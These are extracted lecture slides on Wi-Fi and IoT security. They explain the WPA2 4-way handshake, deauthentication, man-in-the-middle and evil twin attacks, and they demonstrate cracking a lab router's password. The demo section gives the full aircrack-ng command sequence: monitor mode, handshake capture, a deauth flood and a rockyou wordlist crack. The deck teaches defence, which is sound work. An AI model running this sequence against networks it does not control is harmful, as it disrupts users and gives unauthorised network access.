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Threats 
we 
covered 
last week

www.savonia.fi

Lab 2 exercises

Lecture 5

Lecture 6 today source:
https://www.enisa.europa.eu/pu
blications/good-practices-for-
security-of-iot
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Wireless security –WLAN as an example

• Wireless networks are essential for IoT
• Distributed sensor and actuator networks
• Remote utility stations
• Robots and autonomous vehicles

• Wireless communication has its own unique attack vectors
• Communication uses electomagnetic waves which propagate freely (no elecrical or 

optical cables)
• Eavesdropping and interception are physically possible

• Let us look at WLAN communication as an example 
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WLAN in a nutshell

• Wi-Fi is a marketing name for wireless radio communication devices
governed by Wi-Fi Alliance (https://www.wi-fi.org/)

• Evolution of Wi-Fi technology: https://standards.ieee.org/beyond-
standards/the-evolution-of-wi-fi-technology-and-standards/

• A good introduction to WI-Fi terms: https://www.ekahau.com/blog/wi-fi-
fundamentals-acronym-glossary/

• Frequency bands used by WLAN: 
https://en.wikipedia.org/wiki/List_of_WLAN_channels
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Check discussion on this architecture here:
https://www.spiceworks.com/it-security/cyber-risk-management/articles/industroyer-and-ot-security/ 

Typical WLAN usage
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STRIDE

• Each threat is a violation of a desirable property for a system
• Today we will target Confidentiality and Authenticity using temporary

Avalability loss

CIA triad
Source: https://en.wikipedia.org/wiki/STRIDE_model 

https://en.wikipedia.org/wiki/STRIDE_model


• Smart homes rely heavily on Wi-Fi networks
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Home automation and CCTV cameras

Cloud

Remote client

Wi-Fi router

Smart plug

Camera

AC

Smart lock
Home server

Smart 
home 
control 
app

Motion sensor
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Wi-Fi vulnerabilities

• Wi-Fi works in easily accessible frequency bands lots of available
hardware

• Communication is nowadays encrypted, but handshakes
/authentications can be listened to.

• Security of Wi-Fi: https://www.cisco.com/c/en/us/products/wireless/what-
is-wi-fi-security.html

• How Wi-Fi 4-way handshake works: 
https://networklessons.com/wireless/wpa-and-wpa2-4-way-handshake 
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Wifi 4-way 
handshake

These handshakes 
happen every time a 
device connects to a 
Wi-Fi access point.

These messages 
contain hashed 
(encrypted) version 
of the access point 
password.

PMK

SNonce

Derive PTK

Install PTK

Install GTK

EAPOL-Key message 1

EAPOL-Key message 2

EAPOL-Key message 3

EAPOL-Key message 4

Anonce

Snonce + MIC

GTK + MIC

ACK

PMK

ANonce

Derive PTK

Create GTK

Install PTK

Install GTK

Port authorized
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Wi-Fi attacks

• Harvesting 4-way handshake using deauthentication attack  cracking 
password by wordlists or brute force

• Man in the Middle attack
• Evil Twin attack
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Cracking Wi-Fi password

4-way handshake

Password dictionary

Crack Password

Deauthentication

Connected

Disconnected
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Man in the middle attack

Original connection

Man-in-the-middle
connection

Spoofed
certificate

Attacker

Company’s
web server

You
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Evil twin attack

Internet

Rogue 
Access Point 
“Hotel Guest”

Real Access 
Point 
“Hotel Guest”
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Demo for today

• We have a router with WPA security but a weak password
• We connect to the router and verify connectivity
• Set up Kali Linux

• Wireless adapter setup into monitor mode
• Monitor networks and find our router
• Start monitoring for handshakes
• Perform a DoS attack on the router  deauthentication of clients
• Harvest handshake
• Crack password
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Equipment needed

• Wlan hotspot
• In our case: Buffalo Airstation WHR-HP-G54
• We have named the hotspot as “Automaatiotest”

• USB Wlan adapter with Monitor mode
• In our case: Alfa Network AWUS036ACS

• Kali Linux on Windows laptop
• USB drivers of the Wlan adapter did not work on Mac OS

chrome-extension://efaidnbmnnnibpcajpcglclefindmkaj/http:/cdn.cloudfiles.mosso.com/c85091/WHR-HP-G54-Manual-v2.6-web.pdf
chrome-extension://efaidnbmnnnibpcajpcglclefindmkaj/http:/cdn.cloudfiles.mosso.com/c85091/WHR-HP-G54-Manual-v2.6-web.pdf
chrome-extension://efaidnbmnnnibpcajpcglclefindmkaj/http:/cdn.cloudfiles.mosso.com/c85091/WHR-HP-G54-Manual-v2.6-web.pdf
chrome-extension://efaidnbmnnnibpcajpcglclefindmkaj/http:/cdn.cloudfiles.mosso.com/c85091/WHR-HP-G54-Manual-v2.6-web.pdf
chrome-extension://efaidnbmnnnibpcajpcglclefindmkaj/http:/cdn.cloudfiles.mosso.com/c85091/WHR-HP-G54-Manual-v2.6-web.pdf
chrome-extension://efaidnbmnnnibpcajpcglclefindmkaj/http:/cdn.cloudfiles.mosso.com/c85091/WHR-HP-G54-Manual-v2.6-web.pdf
chrome-extension://efaidnbmnnnibpcajpcglclefindmkaj/http:/cdn.cloudfiles.mosso.com/c85091/WHR-HP-G54-Manual-v2.6-web.pdf
https://alfa-network.eu/awus036acs?utm_source=google-eu&utm_medium=pmax&utm_campaign=shopping&gad_source=1&gclid=Cj0KCQjw3vO3BhCqARIsAEWblcC2aqIVp50l8K0HiVfETQmyEG6oR_pZ7mf40_9av1VqOeIcDQ0_TwUaAtLPEALw_wcB
https://alfa-network.eu/awus036acs?utm_source=google-eu&utm_medium=pmax&utm_campaign=shopping&gad_source=1&gclid=Cj0KCQjw3vO3BhCqARIsAEWblcC2aqIVp50l8K0HiVfETQmyEG6oR_pZ7mf40_9av1VqOeIcDQ0_TwUaAtLPEALw_wcB
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Turn on monitor mode of the Wlan adapter

• Turn off wlan0:
 ifconfig wlan0 down

• Turn on monitor mode:
 airmon-ng check kill 

 airmon-ng start wlan0

• Check that monitor mode is on:
 iwconfig
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Show all Wlan hotspots

• Show all Wlan hotspots
 airodump-ng wlan0

• Filter only interesting hotspots
airodump-ng wlan0 –essid-regex Automaatio
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Show all Wlan hotspots

• Filter only interesting hotspots
airodump-ng wlan0 –essid-regex Automaatio

• BSSID = MAC address of the Wlan hotspot, WPA2 encryption in use
• Station = MAC address of a device connected to the hotspot
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Setup airodump-ng waiting for authentication

• Setup airodump-ng waiting for authentication events to record 4-way 
handshake

airodump-ng –w hack2 –c 2 –-bssid 00:16:01:F4:06:F7 
wlan0

• Enter relevant MAC address of the hotspot after –bssid
• Now airodump-ng is waiting
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Launch deauthentication attack

• Send deauthentication to Wlan hotspot to cut client connections to it  
force automatic reconnection

aireplay-ng –-deauth 0 –a 00:16:01:F4:06:F7 wlan0
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4-way handshake captured
• Some 4-way handshakes from device reconnections are captured:

• This hotspot is now effectively hacked, we just need to crack the password
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Saved handshake file

• In our case hack-02.cap contains the handshake
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Inspect the file using WireShark

• WireShark can be used to study the file:
 wireshark hack-02.cap

• Filter EAPOL protocol
• Message 2/4 contains 

• Hashed (encrypted) WPA key
• WPA key = Wifi password
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Wordlist crack of the password

• Let us try wordlist for cracking the password (checking which of the listed 
passwords produces the same hashed output:

aircrack-ng hack-02.cap –w 
/usr/share/wordlists/rockyou.txt

• Output shows cracked password very quickly: 12345678
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Why was that so fast?

• Using wordlist the computer can quickly try thousands of known easy 
(bad) passwords, there is no need for computation

•  12345678 happens to be one of the first on the list  even faster
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What if the password is not in any of the wordlists?

• If you have a powerful computer with a graphics card, you can crack 
passwords using brute force.

• One such tool is hashcat

https://hashcat.net/hashcat/
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How to protect your network against the attack we studied?

1. Use a better password

2. Use a better encryption method than WPA2


	WiFi Security – Wireless Password and Man in the Middle Attacks
	Threats we covered last week
	Wireless security –WLAN as an example
	WLAN in a nutshell
	Gartner IoT Reference Architecture
	STRIDE
	Home automation and CCTV cameras
	Wi-Fi vulnerabilities
	Wifi 4-way handshake
	Wi-Fi attacks
	Cracking Wi-Fi password
	Man in the middle attack
	Evil twin attack
	Demo for today
	Equipment needed
	Turn on monitor mode of the Wlan adapter
	Show all Wlan hotspots
	Show all Wlan hotspots
	Setup airodump-ng waiting for authentication
	Launch deauthentication attack
	4-way handshake captured
	Saved handshake file
	Inspect the file using WireShark
	Wordlist crack of the password
	Why was that so fast?
	What if the password is not in any of the wordlists?
	How to protect your network against the attack we studied?

